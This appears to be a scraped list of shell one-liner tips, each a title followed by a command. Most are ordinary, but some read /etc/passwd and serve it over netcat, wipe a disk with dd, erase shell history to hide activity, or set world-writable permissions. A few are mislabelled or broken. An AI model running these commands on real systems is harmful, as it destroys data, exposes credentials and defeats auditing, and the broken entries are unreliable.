>> (IFS=:;for p in $PATH; do test -d $p || echo $p; done)
* Testing hard disk reading speed
>> hdparm -t /dev/sda
* Identify differences between directories (possibly on different
>> diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
* Print text string vertically, one character per line.
>> echo "vertical text" | grep -o '.'
* Show directories in the PATH, one per line
>> echo $PATH | tr \: \\n
* display an embeded help message from bash script header
>> [ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
* Send data securly over the net.
>> cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
* Replace spaces in filenames with underscorees
>> rename -v 's/ /_/g' *
* bash: hotkey to put current commandline to text-editor
>> bash-hotkey: <CTRL+x+e>
* move a lot of files over ssh
>> tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
* print file without duplicated lines using awk
>> awk '!a[$0]++' file
* Cleanup firefox's database.
>> pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
* vim easter egg
>> $ vim ... :help 42
* Change proccess affinity.
>> taskset -cp <core> <pid>
* Download file with multiple simultaneous connections
>> aria2c -s 4 http://my/url
* A fun thing to do with ram is actually open it up and take a
>> sudo strings /dev/mem
* Pick a random line from a file
>> shuf -n1 file.txt
* Use xdg-open to avoid hard coding browser commands
>> xdg-open http://gmail.com
* Search commandlinefu from the CLI
>> curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
* pipe output of a command to your clipboard
>> some command|xsel --clipboard
* Using bash inline "here document" with three less-than symbols on
>> <<<"k=1024; m=k*k; g=k*m; g" bc
* Colored SVN diff
>> svn diff <file> | vim -R -
* show open ports on computer
>> netstat -an | grep -i listen
* Checking total connections to each Ip inserver
>> netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n
* Convert images (foo.gif => foo.jpg)
>> for i in **/*.gif; convert $i $i:r.jpg
* Updating twitter with from curl
>> curl -u userid:password -d status="New Twitter Message" http://twitter.com/statuses/update.xml
* Inserting a decimal every third digit
>> perl -lpe'1 while s/^([-+]?\d+)(\d{3})/$1.$2/'
* Forget fortunes in your terminal this grabs a random
>> wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/,"")&&1'|perl -p -e 's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span class=snubFontSmall>::g;s:":":g;s:^:\n:g;s:$:\n:'
* Double Compile system and world on gentoo
>> emerge -e system && emerge -e system && emerge -e world && emerge -e world
* Finding hostname and the IP Address of your machine
>> host `hostname`
* Force log creation when running an msi install
>> msiexec.exe /i product.msi /l* c:\folder\LogFileName.txt
* Execute a command if a file exists
>> grep -sq "" /etc/lsb-release && lsb_release -rd
* strip ^M character from files in VI
>> :%s/<control-VM>//g
* Cleanly quit KDE4 apps
>> kquitapp plasma
* Remove files/directory with spaces.
>> find -name "*.exe" -printf "\"%p\"\n" | xargs /bin/rm
* Calculates fake folder checksum based on folder's files' md5sums
>> find path/to/folder/ -type f -print0 | xargs -0 -n 1 md5sum | awk '{print $1}' | sort | md5sum | awk '{print $1}'
* use perl instead of sed
>> echo "sed -e"|perl -pe 's/sed -e/perl -pe/'
* Contextual Menu Cleanup (OSX)
>> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks /LaunchServices.framework/Versions/A/Support/lsregister -kill -r -domain local -domain system -domain user
* Outputs current folder svn revision
>> LC_ALL=C svn info | grep Revision | awk '{print $2}'
* Current directory files and subdirectories ordered by size
>> du -ks * | sort -n
* Print the current battery status
>> acpi | cut -d '%' -f1 | cut -d ',' -f2
* Mount a windows partition in a dual boot linux
>> mount -o auto -t ntfs /dev/hda1 /windows
* Unmount locked filesystems.
>> umount -l /media/foo
* Extract .daa files with PowerISO
>> ./poweriso extract $USER/file.daa / -od $USER/file_extracted
* Takes a multi line df or bdf and turns it into just one line
>> bdf | awk '(NF<5){f=$1; next} (NF>5){f=$1} {print f, $2, $3, $NF}'
* Launch an Explorer window with a file selected
>> explorer /select,[file]
* Broadcast message to all logged in terminal users.
>> cat welcome | wall
* To retrieve a normal prompt
>> PS1='$PWD$ '
* kill all processes of a program
>> kill -9 $(pidof *program*)
* Open the Windows Explorer from the current directory
>> explorer /e,.
* Save the network interface info into a text file, so that you can
>> netsh interface ip dump > current-interfaces.txt
* how to like to know if a host is ON
>> for ip in $(seq 1 25); do ping -c 1 192.168.0.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.0.$ip UP" || : ; done
* edit files in current and subdir, remove all lines that containing
>> grep -r "sampleString" . |uniq | cut -d: -f1 | xargs sed -i "/sampleString/d"
* get line#1000 from text.
>> head -1000 < lines.txt | tail -1
* watch filesizes (c.f. logfiles, file downloading, etc.)
>> while [ 1 ]; do date; ls -l /path/to/dir; sleep 1; done
* Fast searh Ubntu software repo
>> alias acs='apt-cache search'
* color grep with specification of colors with GREP_COLOR env
>> setenv GREP_COLOR '1;37;41'
* reset the bizzarre gone junk terminal to normal
>> echo "Xc" | tr "Xo" "\033\017
* example usage of sar
>> sar -g 5 5
* umount all nfs mounts on machine
>> mount | grep : | tr -s ' ' -d 3 | xargs umount -v
* Display a list of upgradeable packages (apt)
>> apt-show-versions -u
* GUID generator
>> guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }
* search for the content in a directory
>> find . -exec grep "test" '{}' /dev/null \; -print
* Get the size of every directories and files in a path recursively
>> for i in $(ls /the/path); do du -hs /the/path/$i; done
* shows the space of a folder in bytes ever two seconds.
>> watch "df | grep /this/folder/"
* Ring the system bell after finishing a long script/compile
>> myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a')
* Print only the even lines of a file
>> awk '{if (NR % 2 == 0) print $0}' file.txt
* kill all processes with name or argument
>> pkill -f foo
* find and kill a pid for APP
>> ps -ef | grep APP | awk '/grep/!{print$2}' | xargs -i kill {}
* Search for a running process through grep
>> ps -e | grep SearchStringHere
* Print a row of 50 hyphens
>> ALT-50 -
* generate random password
>> openssl rand -base64 1000 | tr "[:upper:]" "[:lower:]" | tr -cd "[:alnum:]" | tr -d "lo" | cut -c 1-8 | pbcopy
* oneliner to open several times same application
>> for ((i=0;i<5;i++)) ; do xpenguins & done
* Set Permission to user and group
>> chown -R webuser:webgroup /var/www/vhosts/domain.com/httpdocs
* Get your public ip
>> wget -qO - http://cfaj.freeshell.org/ipaddr.cgi
* Show the meta information on a package (dependency , statuts ..)
>> aptitude show packages_name
* Return IP Address
>> awk '/inet end/ {print $3}' <(ifconfig eth0)
* Show local IP
>> ifconfig eth0 | grep "inet:" | cut -d ":" -f2 | cut -d " " -f1
* Fill up disk space (for testing)
>> dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1 {print $4-100}')
* List files that DO NOT match a pattern
>> ls *[^p][^a][^t]* ; # or shopt -s extglob; ls !(*pattern*)
* List all symbolic links in current directory
>> ls -l `ls -l |awk '/^l/ {print $8}'`
* Random password generating function
>> mkpasswd() { head -c $(($1)) /dev/urandom | uuencode - | sed -n 's/.//;2s/\(.\{'$1'\}\).*/\1/p' ;}
* Compress and Backup a disk image
>> dd if=/dev/<device location> | gzip -c /<path to backup location>/<disk image name>.img.gz
* bash / vim workflow
>> vim -
* Delete everything on hda
>> dd if=/dev/zero of=/dev/hda bs=16M
* Remove lines that contain a specific pattern($1) from file($2).
>> function rmatch { echo "$(grep -v "$1" "$2")">"$2";}
* Get your external IP address
>> wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'
* Get your external IP address
>> curl whatismyip.org
* Get your external IP address
>> echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc whatismyip.com 80 | tail -n1
* Clear your history saved into .bash_history file!
>> echo "" > .bash_history
* remove the last of all html files in a directory
>> a=($(ls *html)) && a=${a[$(expr ${#a[@]} - 1)]} && rm $a
* Checking DNS zone on Name servers directly
>> host <domain> <nameserver name>
* convert .rpm to .deb using alien
>> sudo alien --to-deb Your_PackAge.rpm
* Create Bootable USB from ISO file
>> xcopy D:\*.* /s/e/f E:\
* floating point operations in shell scripts
>> echo $((3.0/5.0))
* Ultimate current directory usage command
>> O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done |
* Ultimate current directory usage command
>> ls -shF --color
* Seach google from the command line in Unofficial google shell
>> http://goosh.org
* This command will tell the last login and reboot related
>> last
* How to run a specific command in remote server by ssh
>> ssh user@remotehost [anycommand](i.e uptime,w)
* securely locate file and dir
>> slocate filename/dirname
* get debian version number
>> lsb_release -a
* System load information alongside process information in a similar
>> atop
* detect the Super I/O chip on your computer, tell you at which
>> superiotool
* get basic information out of your computer
>> lspci
* Output all Files in Directory w/ Details to Filelist
>> ls -laR > /path/to/filelist
* Testing php configuration
>> echo "<?php phpinfo(); ?>" >> /srv/www/htdocs/test.php
* Install NMAP 5.0 ,Short and sweet command to do it
>> sudo wget -c "http://nmap.org/dist/nmap-5.00.tar.bz2" && bzip2 -cd nmap-5.00.tar.bz2 | tar xvf - && cd nmap-5.00 && ./configure && make && sudo make install
* Pick a random line from a file
>> shuf file.txt | head -n 1
* Pick a random line from a file
>> head -$(($RANDOM % $(wc -l < file.txt) +1 )) file.txt | tail -1
* Read just the IP address of a device
>> ip addr|grep "inet "
* create tar.gz archive
>> tar -pczf archive_name.tar.gz /path/to/dir/or/file
* let w3m usecookie
>> alias w3m='w3m -cookie'
* Move files around local filesystem with tar without wasting space
>> tar -C <source_dir> -cf . | tar -C <dest_dir> -xf -
* Outputs size of /example/folder in human readable format.
>> du -hs /example/folder/
* Remove all files previously extracted from a tar(.gz) file.
>> for i in $(tar -tf <file.tar.gz>); do rm $i; done;
* Alternative size (human readable) of directories (biggest first)
>> function duf { du -k $@ | sort -rn | perl -ne '($s,$f)=split(/\t/,$_,2);for(qw(K M G T)){if($s<1024){$x=($s<10?"%.1f":"%3d");printf("$x$_\t%s",$s,$f);last}; $s/=1024}' }
* Check processes runed not by you
>> ps aux | grep -v `whoami`
* Copy all documents PDF in disk for your home directory
>> for i in `find / -name *.pdf`; do cp -v $i $HOME; done
* See smbstatus all the time
>> while (( $i != 0 )) { smbstatus; sleep 5; clear }
* unzip all zip files under a current directory in the directory
>> for f in `find ./ -name "*.zip"` ; do p=`pwd`; d=`dirname $f`; cd $d; b=`basename $f`; unzip $b; cd $p; done
* greps the man pages to find utilities
>> apropos keyword
* View SuSE version
>> cat /etc/SuSE-release
* Quickly assess quality of project by greping the SVN commit logs
>> svn log | grep "bodge\|fudge\|hack\|dirty"
* aliases for apt-get
>> alias agi="sudo apt-get install" #package_names
* List installed hardware
>> kudzu -p
* Graphical display of wireless links
>> wmwave
* Search and replace in multiple files and save them with the same
>> for files in $(ls -A directory_name); do sed 's/search/replaced/g' $files > $files.new && mv $files.new $files; done;
* A bash prompt which shows the bash-version
>> PS1="$BLUE[$CYAN\u$BLUE@$CYAN\h$WHITE-bash \v:$GREEN\w$BLUE]$WHITE \$ "
* Delete an hard disk entry in Virtualbox registry
>> sed -i '/Centos/d' VirtualBox.xml
* count occurences of each word in novel David Copperfield
>> wget -q -O- http://www.gutenberg.org/dirs/etext96/cprfd10.txt | sed '1,419d' | tr "\n" " " | tr " " "\n" | perl -lpe 's/\W//g;$_=lc($_)' | grep "^[a-z]" | awk 'length > 1' | sort | uniq -c | awk '{print $2"\t"$1}'
* remove unneeded configuration files in debian
>> dpkg-query -l| grep -v "ii " | grep "rc " | awk '{print $2" "}' | tr -d "\n" | xargs aptitude purge -y
* Remove packages by pattern on debian and based systems
>> sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get autoremove
* Check cobbler environment
>> cobbler check
* How many Non-free software is on your machine ?
>> vrms
* Randomize the order of lines in a text file.
>> awk 'BEGIN {srand()} {print int(rand()*1000000) "\t" $0}' FILE | sort -n | cut -f 2-
* Find 'foo' in located files
>> locate searchstring | xargs grep foo
* Join lines
>> echo -e "aa\nbb\ncc\ndd\n123" | sed -e :a -e "/$/N; s/\n/;/; ta"
* remove exact phrase from multiple files
>> grep -r "mystring" . |uniq | cut -d: -f1 | xargs sed -i "s/mystring//"
* convert all WAVs from any format (MS ADPCM) to PCM
>> for file in $(find -type f -iname "*wav"); do mv $file "$file"_orig.WAV; mplayer -ao pcm "$file"_orig.WAV -ao pcm:file=$file; done
* Quickly backup your current directory
>> alias backup_dir='mkdir -p .backup && cp * .backup'
* Print out "string" between "match1" and "match2"
>> echo "string" | sed -e 's/.*match1//' -e 's/match2.*$//'
* Look for a string in one of your codes, excluding the files with
>> find . -type f -exec grep StringToFind \{\} --with-filename \;|sed -e '/svn/d'|sed -e '/~/d'
* Copy files over network using compression
>> on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022
* bind a web server in $PWD
>> python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
* recursively delete .svn folders from a directory
>> rm -rf `find . -type d -name .svn`
* Binary editor
>> bvi [binary-file]
* find a class or file within a number of jar files
>> for i in `find . | grep jar$`; do echo $i; jar tvf $i | grep 'search-string'; done;
* Recursive file content search
>> find . -name *.php | xargs grep -i -n 'TERM'
* extract a certain number of lines from a file and dump them to
>> grep '' -m X file1 > file2
* Read a gzipped text file directly with less.
>> less textfile.gz
* Removes Apple "garbage"
>> find . -name *DS_Store -exec echo rm {} \;
* rcs - local backup of any text configuration file before
>> ci -l /etc/rc.conf
* Generate MD5 hash for a string
>> echo -n "string" | md5sum -
* Listen to the OS X system's voices
>> for person in Alex Bruce Fred Kathy Vicki Victoria ; do say -v $person "Hello, my name is $person"; sleep 1; done
* Move a file up a directory.
>> mv file_name.extension ..
* Basic Local Port Scan
>> [command too long]
* Read Nth column (e.g. 2nd column) of a row of data in a file that
>> grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR USE ALTERNATE WAY awk '/HOME/ {print $2}' data.txt | awk -F'/' '{print $NF}'
* Get top 10 largest directories under cwd
>> du | sort -n | tail -11 | head
* Download a complete podcast
>> wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/ podcast/espectador/la_venganza_sera_terrible.xml | grep -v xml | grep link | sed 's/]*>//g'`
* Edit a file using vi or vim in read-only mode
>> vi -R filename
* Creates a minimalist xorg.conf
>> dpkg-reconfigure -phigh xserver-xorg
* Delete tens of thousans of files at one go
>> rm -rf `ls | head -5000`
* stores the number of lines of "file" in a variable to use in a
>> count=`wc -l file | cut -d ' ' -f1`
* Run the previous command with sudo
>> sudo !!
* uppercase
>> tr [a-z] [A-Z]
* sets volume via command line
>> amixer -c 0 set PCM 2dB+
* ctrl -k and ctrl -y for cut and paste
>> ctrl k , ctrl y
* xxcopy everything from one Windows box to another
>> xxcopy x:\folder1 y:\folder2 /s /h /tca /tcc /tcw /yy
* Quick scrape of recent mobile home dir file sync for Mac Admins -
>> tail -n 20 ~/Library/Logs/FileSyncAgent.log
* Generate load on your CPU
>> while true; do /bin/true; done
* Convert *.mp3 files to *.wav for recording audio cd's
>> ls |while read line ; do mpg321 -w "$line.wav" "$line" ; done
* LSD: List directory files in current directory
>> ls -l !* | /usr/bin/grep '^d'
* rm all files you grep
>> find . | grep deleteme | while read line; do rm $line; done
* prints long line
>> sed -n '/^.\{10\}/p'
* View your machine firewall settings
>> iptables -L -n -v
* Directly change directory without having to specify drive letter
>> cd /d d:\Windows
* backup the old files
>> tar -zcps <dir> -X <(find <dir> -type f -mtime -<days>) |ssh user@backuphost tar -xzpsC /data/bkup
* Run ADSL connection
>> pon dsl-provider
* Stage added, updated, and DELETED files for commit
>> git add -u
* Display directory hierarchy listing as a tree
>> ls -R | grep : | sed -e '\''s/:$//'\'' -e '\''s/[^-][^\/]*\//--/g'\'' -e '\''s/^/ /'\'' -e '\''s/-/|/'\''
* set fan speed (ATI cards)
>> aticonfig --pplib-cmd "set fanspeed 0 <number>"
* Find files containing "text"
>> grep -lir "text to find" *
* Execute AccuRev pop command to retrieve missing files from a
>> accurev stat -M -fl | awk '{print "\"" $0 "\""}' | xargs accurev pop
* Place a filename at the beginning of the line to make it easier
>> Place a filename at the beginning of the line to make it easier to edit the search at the end of the command.
* UNIX one-liner to kill a hanging Firefox process
>> kill -HUP ` ps -aef | grep -i firefox | sort -k 2 -r | sed 1d | awk ' { print $2 } ' `
* Backup the first 1MB of your volume
>> dd if=/dev/sdX of=/root/sdX.bin bs=1M count=1
* Ignore the specified signal
>> trap '' 1 2 20 24(signal number)
* Recursive chmod all files and directories within the current
>> chmod -R 777 *
* List the size (in human readable form) of all sub folders from the
>> ls | xargs du -sh
* copying files using sed to rename based on regular expression
>> ls "*.mp3" | awk '{print("cp "$1" /folder/"$1)}' | sed -e 's/foo/bar/' | /bin/bash
* yesterday
>> perl -lne 'use POSIX; print strftime("%Y-%m-%d", localtime(time() - 86400));'
* Replace text in several files
>> perl -p -i -e ?s/New/Old/g? *.html
* Remove executable bit from all files in the current directory
>> find . -type f | while read f; do chmod -x "$f"; done
* Get the 10 biggest files/folders for the current direcotry
>> ls -1rSA | tail
* Create a list of sequential logins
>> seq -w 100 | sed 's/^/login/'
* Start xterm in given directory
>> ( cd /my/directory; xterm& )
* Start xterm in given directory
>> xterm -e "cd /my/directory; bash"
* Count the total number of files in each immediate subdirectory
>> ps -ef | grep pmon
* Sneaky logout
>> rm ~/.bash_history && kill -9 $$
* List dot-files and dirs, but not . or ..
>> ls .??*
* run command with opposite return code
>> not () { "$@" && return 1 || return 0; }
* Show directories in the PATH, one per line
>> print -l $path
* Add a directory with a name to /etc/passwd to get quick access
>> function qcd { useradd -No -s /bin/false -u 999 -g 999 -lf -1 -d $1 $2 ; }
* Monitor Applications application that are connected/new
>> while true; do netstat -p |grep "tcp"|grep --color=always "/[a-z]*";sleep 1;done
* Duplicate a directory tree using tar and pipes
>> (cd /source/dir ; tar cvf - .)|(cd /dest/dir ; tar xvpf -)
* unzip all .zip files in /example/directory
>> cd /example/directory && unzip \*.zip
* Search through files, ignoring .svn (less accurate/slower but
>> find . ! -path \*.svn\*
* Quick findstring recursively in dirs (Alias from long find with
>> alias findstring="find . -type f -print | xargs grep $1"
* Kill a daemon by name, not by PID
>> kill_daemon() { echo "Daemon?"; read dm; kill -15 $(netstat -atulpe | grep $dm | cut -d '/' -f1 | awk '{print $9}') }; alias kd='kill_daemon
* Delete all files more t han 7 days old
>> rm -rf `find -maxdepth 1 -mindepth 1 -mtime +7`
* Skipping tests in Maven
>> mvn -Dmaven.test.skip=true install
* Creating a Maven project
>> mvn archetype:create -DgroupId=my.work -DartifactId=MyProject
* Find which version of Linux You are Running
>> lsb_release -d
* journaling directories
>> mkdir `date | sed 's/[: ]/_/g'`
* Encoding with base64
>> echo "Hello world" | base64
* compile openvm-tools
>> m-a a-i open-vm
* Reset scrambled screen
>> cat [ENTER]^V^O[ENTER]^D
* Remove rpm package by pattern
>> yum erase `yum list installed | grep 'php'`
* Rename files that have number, space and hyphen
>> for f in * ; do mv -- "$f" "${f/[0-9][0-9] \- /}" ; done
* zip all files in a directory, one file per zip
>> for i in $( find . ); do echo zipping file: $i zip $i.zip $i done
* Chmod directories to add executable & read permission to the group
>> sudo chmod -R g=u-w,g+X *
* Print the ten largest files
>> ls -Sl * | head
* use a literal bang (exclamation point) in a command
>> echo '!'whammy
* easily monitor memory usage
>> watch -n1 --differences cat /proc/meminfo
* find all references to a server in web.config files with
>> ls \\someserver\c$\inetpub\wwwroot -r -i web.config | Select-String "SomeMachineName"
* Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA
>> snmpwalk -v3 -On -u <user> -l AuthNoPriv -a SHA -A <auth_password> -m ALL <HOST_IP> .
* Snmpwalk a hosts's entire OID tree with SNMP V3
>> snmpwalk -v3 -On -u <user> -l NoAuthNoPriv -m ALL <HOST_IP> .
* display most recently modified files
>> ls -l|awk '{print $6,$8}'|sort -d
* Create a newFolder that is a symbolic link to another folder
>> ln -s /destinationTarget /sourceTarget/newFolder
* shows how much space from how much space is free on your drive(s)
>> df -h | sed -e '/disk/b' -e '/Volumes/b' -e d | awk '{print $3, "of", $2, "occupied,", $4, "free", "at", $6}'
* Search all files of type *.php for string 'specialFunction' and
>> find . -name "*.php" | xargs egrep -i -s 'specialFunction' > searchresult.txt
* Super Speedy Hexadecimal or Octal Calculations and Conversions to
>> echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
* Connect to google talk through ssh by setting your IM client to
>> ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com
* find and replace tabs for spaces within files recursively
>> find ./ -type f -exec sed -i 's/\t/ /g' {} \;
* Number of open connections per ip.
>> netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
* Browse system RAM in a human readable form
>> sudo cat /proc/kcore | strings | awk 'length > 20' | less
* [re]verify a disc with very friendly output
>> dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
* Traceroute w/TCP to get through firewalls.
>> tcptraceroute www.google.com
* List only hidden files
>> ls -ad .*
* full cpu info (linux)
>> cat /proc/cpuinfo
* List all executable files in the current directory
>> ls -F | grep '\''\*'\'' | sed '\''s/\*$//'\
* Copy directories and files just like
>> xcopy /e/h/y /z/i /k /f src dest
* get size of dir or file
>> du -h
* View new log messages in real time
>> tail -f /var/log/messages
* test connection if ICMP is disabled
>> telnet <ip> <port>
* Always run apt-get as root
>> alias apt-get='sudo apt-get'
* Open a list of files in VIM using separate terminal windows
>> find . -name "*.java" -exec gnome-terminal \-x vim {} \;
* Replace spaces with newlines
>> cat file.txt|perl -ne '$_=~s/\s+/\n/g; print $_;'
* Kills MYWIFE.
>> pkill -U MYWIFE
* find all processes named hunger and force kill, minus the grep
>> ps -auwx|egrep hunger|grep -v grep| awk '{print "kill -9",$1}' > ~/fu.bar
* Search gzipped files
>> zcat /usr/share/man/man1/grep.1.gz | grep "color"
* Recursive chmod all files and directories within the current
>> find . -print -exec chmod 777 {} \;
* Recursive chmod all files and directories within the current
>> find | xargs chmod 777
* Check reverse DNS
>> nslookup {ip}
* List the size (in human readable form) of all sub folders from
>> find . -maxdepth 1 -type d -not -name . -exec du -sh {} +
* SELinux Status
>> getenforce
* Sneaky logout
>> rm ~/.bash_history; ln -s /dev/null ~/.bash_history
* get kernel version
>> uname -a
* Convert CSV to TSV
>> perl -pe 's/,/\t/g' < report.csv > report.tsv
* Replace square brackets to underscore in all filenames (current
>> perl -e 'map { $on=$_; s/\]/_/; rename($on, $_) or warn $!; } <*>;'
* Search for all files that begin with . and delete them.
>> find ~/Desktop/ \( -regex '.*/\..*' \) -print -exec rm -Rf {} \;
* Watch a the local directory for changes and auto-commit every
>> while TRUE; do git add *; git commit -a -m 'auto commit'; sleep 60; done
* netstat -p recoded (totaly useless..)
>> p=$(netstat -nate 2>/dev/null | awk '/LISTEN/ {gsub (/.*:/, "", $4); if ($4 == "4444") {print $8}}'); for i in $(ls /proc/|grep "^[1-9]"); do [[ $(ls -l /proc/$i/fd/|grep socket|sed -e 's|.*\[\(.*\)\]|\1|'|grep $p) ]] && cat /proc/$i/cmdline && echo; done
* Refresh profile file
>> . ~/.profile
* Periodically loop a command
>> while true; do ifconfig eth0 | grep "inet addr:"; sleep 60; done;
* sed -n "$LINE1,${LINE2}p;${LINEA2}q;" "$FILE"
>> Printing portion of a big file
* See a list of ports running
>> netstat -an | grep -i listen
* Unzip all files with ".zip" extension.
>> unzip \*.zip
* Kill a bunch of processes with the same name
>> ps ax | grep <processname> | grep -v grep | awk '{print $1}' | sudo xargs kill -9
* kills all processes for a certain program e.g. httpd
>> ps aux | grep 'httpd ' | awk {'print $2'} | xargs kill -9
* Clear current session history
>> history -r
* find a process id by name
>> ps aux | awk '/name/ {print $2}'
* "Reset" directories permissions
>> find . -type d -exec chmod 0755 {} \;
* change your PS1 to look better :)
>> newhostname=$(hostname | awk -F. '{print $1 "." $2}'); ipaddress=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F. '{print $3 "." $4}' | grep -v 64.142);PS1="[`id -un`.$newhostname.$ipaddress]"' (${PWD}): '; export PS1
* Generate random password
>> dd bs=1 count=32 if=/dev/random 2> /dev/null | md5 | grep -o '\w*'
* Prefetch like apple devices
>> sudo apt-get install preload
* Check if Fail2Ban is Running
>> FAIL2BAN=`ps ax | grep fail2ban | grep -v grep | awk {'print $1'}` && if [ -n "$FAIL2BAN" ]; then printf "\n[INFO] Fail2Ban is running and the PID is %s\n\n" $FAIL2BAN; else printf "\n [INFO] Fail2Ban is not running\n\n"; fi
* Helpful alias to grep for the PID.
>> alias pfind='ps aux | grep '
* detected hardware and boot messages
>> sudo dmesg
* Find out your Debian version
>> cat /etc/debian_version
* Get all IPs via ifconfig
>> ifconfig | grep "inet [[:alpha:]]\+" | cut -d: -f2 | cut -d' ' -f2
* alarm central using keyboard as zone inputs ( output spoken out
>> watch '/home/mm/bash/keypress.sh |/home/mm/bash/evento.sh'
* Find out which version of linux you are running
>> cat /etc/*issue
* Go to the created directory after using mkdir
>> mkdir() { /bin/mkdir $@ && eval cd "\$$#"; }
* Wordpress - download latest, extract, and rename config file.
>> alias wordpress='mkdir wordpress && cd wordpress && wget http://wordpress.org/latest.tar.gz && tar -xvzf latest.tar.gz && mv wordpress/* . && rm -rf latest.tar.gz wordpress && cp wp-config-sample.php wp-config.php'
* "Reset" file permissions
>> find . -type f -exec chmod 0644 {} \;
* Equivalent of alias in cmd.exe: doskey (macros)
>> doskey l=dir /OD $*
* Altera texto dentro dos arquivos retornados pelo comando 'find'
>> find ./wp-content/themes/rotce2009/ -name '*.php' -type f | xargs sed -i 's/<? /<?php /g'
* Telnet to Free Internet Chess Server
>> telnet fics.freechess.org 5000
* List files contained within a zip archive
>> unzip -l <filename>
* Sneaky logout
>> export HISTFILE=/dev/null && kill -9 $$
* easiest way to get kernel version without uname
>> strings /boot/kernel-file | grep 2.6
* ls -lR with a full path
>> tar -cvf /dev/null . | while read i; do ls -l $i; done
* show current directory
>> nautilus `pwd`
* Compile all C files in a directory
>> ls *.c | while read F; do gcc -Wall -o `echo $F | cut -d . -f 1 - ` $F; done
* renombrar un archivo que inicia con guion
>> find . -name "-help" -exec mv {} help.txt \;
* Cute, but we already had this figured out when the Linux kids
>> ssh-keygen -R hostname
* Complete Distro information
>> lsb_release -a
* download a specific file
>> curl -f -O http://pcbsd.fastbull.org/7.0.2/i386/PCBSD7.0.2-x86-DVD.iso
* Burn an image to a USB stick
>> dd if=yourimage.img of=/dev/sdb1
* Chown script
>> #!/bin/sh for dir in `ls -A | grep -v .sh`; do chown -R $dir:$dir $dir done
* Move all files with common extension to current directory
>> mv `find .zip ./` .
* alias to list hidden files of a folder
>> alias lh='ls -a | egrep "^\."'
* kill all instances of an annoying or endless, thread-spawning
>> ps auxwww | grep outofcontrolprocess | awk '{print $9}' | xargs kill -9
* This is a nice way to kill processes.. the example below is for
>> ps aux | grep -i firefox | grep -v grep | awk '{print $2}' | xargs -t -i kill -9 {}
* Start a new shell as root
>> sudo su
* dd and ssh
>> dd if=/dev/zero bs=1M | ssh somesite dd of=/dev/null
* Informations sur les connexions reseau
>> netstat -taupe
* Brings you back to previous directory
>> alias b='cd -'
* Empty Trash in Gnome When the Trash Can Refuses to Clear
>> rm -rf ~/.local/share/Trash/files/*
* List all file and directory on user's home with details
>> ls /home/user | xargs ls -lhR | less
* Count a number of files (only files, not dirs) in a directory
>> find . -type f | wc -l
* Listing the Size and usage of the connected Hard Disks
>> df -H
* Kill all processes matching a given name
>> ps axww | grep SomeCommand | awk '{ print $1 }' | xargs kill
* compare three file
>> diff3 -a file1 file2 file3
* emptying a file
>> cat /dev/null >filename
* mkdir some file and mv some file
>> for i in `seq 100`;do mkdir f{1..100} touch myfile$i mv myfile$i f$i;done
* Make an iso file out of your entire hard drive
>> cat /dev/hda > ~/hda.iso
* undo tab close in firefox
>> <ctrl-shift-t>
* Visit another command line gongfu site
>> lynx http://shell-fu.org/
* how long system has been running
>> last reboot
* Duplicate a directory tree using tar and pipes
>> (cd /source/dir ; tar cv .)|(cd /dest/dir ; tar xv)
* unalias previously aliased command
>> unalias
* Replace spaces with '_' in filenames
>> find -depth . | (while read FULLPATH; do BASENAME=`basename "${FULLPATH}"`; DIRNAME=`dirname "${FULLPATH}"`; mv "${DIRNAME}/${BASENAME}" "${DIRNAME}/${BASENAME// /_}"; done)
* show connection information
>> /sbin/ifconfig -a
* create or empty a file
>> > filename
* Get your public ip address
>> python -c "import socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(('google.com', 80)); print s.getsockname()[0]"
* Free unused memory currently unavailable
>> dd if=/dev/zero of=junk bs=1M count=1K
* logout and obliterate the bash history file
>> echo 'alias q="cat /dev/null > ~/.bash_history && exit"' >> .bashrc
* List all system users
>> ~<press tab twice>
* Desmontando um dispositivo ocupado
>> fuser -vm /dev/sda2
* purge tmp files
>> rm -rf /tmp/* /tmp/.??*
* Create a iso from the disk.
>> cat /dev/cdrom > ~/mydisk.iso
* quickly navigate your filesystem
>> j mp3
* send Everyone on your machine some love
>> w | egrep -v '(load|FROM)' | awk '{print $2}' | sed 's/^/tty/' | awk '{print "echo \"The Matrix has you...\" >> /dev/" $1}' | bash
* most dangerous command ever.
